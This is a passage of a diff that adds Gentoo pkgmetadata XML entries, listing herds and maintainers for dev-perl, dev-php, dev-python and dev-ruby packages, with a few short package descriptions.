+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/libwww-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/libxml-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/locale-maketext-fuzzy">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/locale-maketext-lexicon">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/locale-maketext">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/log-dispatch">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/mod_perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/module-build">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/module-info">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/net-ping">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/net-server">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/net-sftp">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/net-ssh-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/ogg-vorbis-header">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/p5-Palm">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perl-MDK-Common">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perl-ldap">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perl-tk">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perlmagick">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perlrapi">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perlsieve">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/perltidy">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/pgperl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/regexp-common">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/sdl-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/set-scalar">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/string-crc32">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/text-autoformat">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/text-reform">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/text-template">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/text-wrapper">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/tie-encryptedhash">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Cache">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-DB">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Date">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_Common">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_Javascript">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_QuickForm">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_Select_Common">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_Template_Flexy">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-HTML_Template_Sigma">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-I18N">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Image_IPTC">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Log">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-MDB">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Mail_Mime">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Net_Sieve">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Net_SmartIRC">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Net_Socket">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-OLE">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-PEAR_Info">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-Spreadsheet_Excel_Writer">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-System_Command">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-XML_CSSML">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-XML_RSS">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-XML_Tree">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PEAR-XML_XPath">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PECL-apc">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PECL-imagick">
+    <herd>php</herd>
+    <maintainer>
+        <email>coredumb@gentoo.org</email>
+        <name>Tal Peer</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PECL-mailparse">
+    <herd>php</herd>
+    <maintainer>
+        <email>coredumb@gentoo.org</email>
+        <name>Tal Peer</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/PECL-sqlite">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/asp2php">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/egroupware">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/groupoffice">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/ioncube_loaders">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/jpgraph">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/mod_php">
+    <herd>php</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+        <description>Eclass author and primary maintainer (See the herd for other maintainers)</description>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php-accelerator">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php-cgi">
+    <herd>php</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+        <description>Eclass author and primary maintainer (See the herd for other maintainers)</description>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php-core">
+    <herd>php</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+        <description>Eclass author and primary maintainer (See the herd for other maintainers)</description>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php-cvs">
+    <herd>php</herd>
+    <maintainer>
+        <email>coredumb@gentoo.org</email>
+        <name>Tal Peer</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php-gtk">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/php">
+    <herd>php</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+        <description>Eclass author and primary maintainer (See the herd for other maintainers)</description>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/phpdbg">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/phpgroupware">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/phpsysinfo">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/smarty-docs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/smarty">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/sqlite-php">
+<herd>php</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/turck-mmcache">
+<herd>php</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-php/xdebug">
+    <herd>php</herd>
+    <maintainer>
+        <email>coredumb@gentoo.org</email>
+        <name>Tal Peer</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/4Suite">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/Cheetah-docs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/Cheetah">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/Imaging-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/Imaging">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/PyOpenGL">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/PyQt">
+<herd>python</herd>
+<herd>qt</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/PyXML-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/ScientificPython">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/SimpleParse">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/adns-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/anygui">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/bicyclerepair">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/bonobo-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/bsddb3">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/cddb-py">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/cjkcodecs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/clientcookie">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/clientform">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/csv">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/docutils">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/editobj">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/egenix-mx-base-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/egenix-mx-base">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/email-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/empy">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/epydoc">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/f2py">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/fxpy">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/gadfly">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/generator">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/geoip-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/gnome-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/gnosis-utils">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/gnuplot-py">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/happydoc">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/htmlgen">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/iconvcodec">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/id3-py">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/ipython">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/irman-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/japanesecodecs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/kinterbasdb">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/koreancodecs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/ldaptor">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/log4py">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/logging">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/logilab-common">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/m2crypto">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/medusa">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/menumaker">
+<herd>python</herd>
+<maintainer><email>g2boojum@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/mmpython">
+<herd>media-tv</herd>
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/mod_python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/mysql-python-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/mysql-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/numarray">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/numeric">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/omniORBpy">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/optik">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/orbit-python">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pexpect">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/piddle">
+<herd>python</herd>
+<longdescription>
+PIDDLE is a Python module for creating two-dimensional graphics in a
+manner that is both cross-platform and cross-media; that is, it can
+support screen graphics (e.g. QuickDraw, Windows, Tk) as well as file
+output (PostScript, PDF, GIF, etc.). It makes use of the native 2D
+drawing calls of each backend, for maximum efficiency and quality. It
+works by defining a base class (piddle.Canvas) with methods for all
+supported drawing primitives. A particular drawing context is provided
+in the form of a derived class. PIDDLE applications will be able to
+automatically select an appropriate backend for the user's environment. 
+</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pmw">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/popy-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/psyco">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/psycopg-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/psycopg">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/py-gnupg">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/py-xmlrpc">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/py2play">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyOpenSSL">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyao">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pychart">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pychecker">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pycrypto">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pycurl">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyframer">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pygame">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pygoogle">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pygtk">
+<herd>gnome</herd>
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pygtkglext">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pykde">
+<herd>python</herd>
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pylibpcap">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pylint">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pylirc">
+<herd>media-tv</herd>
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyltxml">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pymad">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyme">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyogg">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyopenal">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyorbit">
+<herd>gnome</herd>
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pypgsql">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyrex">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyserial">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pysnmp">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pysqlite">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-biggles">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-cdb">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-docs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-fchksum">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-gtkextra">
+<herd>python</herd>
+<longdescription>
+python-gtkextra is Python bindings for the gtk+extra libraries
+</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-ldap-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-ldap">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-selinux">
+<herd>hardened</herd>
+<maintainer>
+  <email>method@gentoo.org</email>
+  <name>Joshua Brindle</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Backup Maintainer</description>
+</maintainer>
+<longdescription>Python bindings for SELinux libselinux fuctions</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/python-xlib">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pythoncard">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pythondialog">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pythong">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyunit">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyvorbis">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyx">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyxdg">
+<herd>python</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyxml">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyxmms">
+<herd>python</herd>
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/pyzor">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/qscintilla">
+<herd>python</herd>
+<herd>qt</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/quixote">
+<herd>web-apps</herd>
+<herd>python</herd>
+<maintainer>
+	<email>g2boojum@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/reportlab">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/rlcompleter2">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/sip">
+<herd>python</herd>
+<herd>qt</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/skunkweb">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/snmpy">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/soya">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/stripogram-py21">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/stripogram">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/twisted-cvs">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/twisted-docs">
+<herd>python</herd>
+<maintainer><email>lordvan@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/twisted">
+<herd>python</herd>
+<maintainer><email>lordvan@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/validation">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/wxPython">
+<herd>python</herd>
+<herd>wxwindows</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/wxpython-demo">
+<herd>python</herd>
+<herd>wxwindows</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/wxpython-docs">
+<herd>python</herd>
+<herd>wxwindows</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-python/xsv">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/amrita">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/amstd">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/devel-logger">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/eruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/fxruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/http-access2">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/madeleine">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/mod-ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/mysql-ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/narray">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/ncurses-ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/nora">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/programming-ruby">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/racc">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rbbr">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ruby/rdoc">
+<herd>ruby</herd>
+</pkgmetadata>
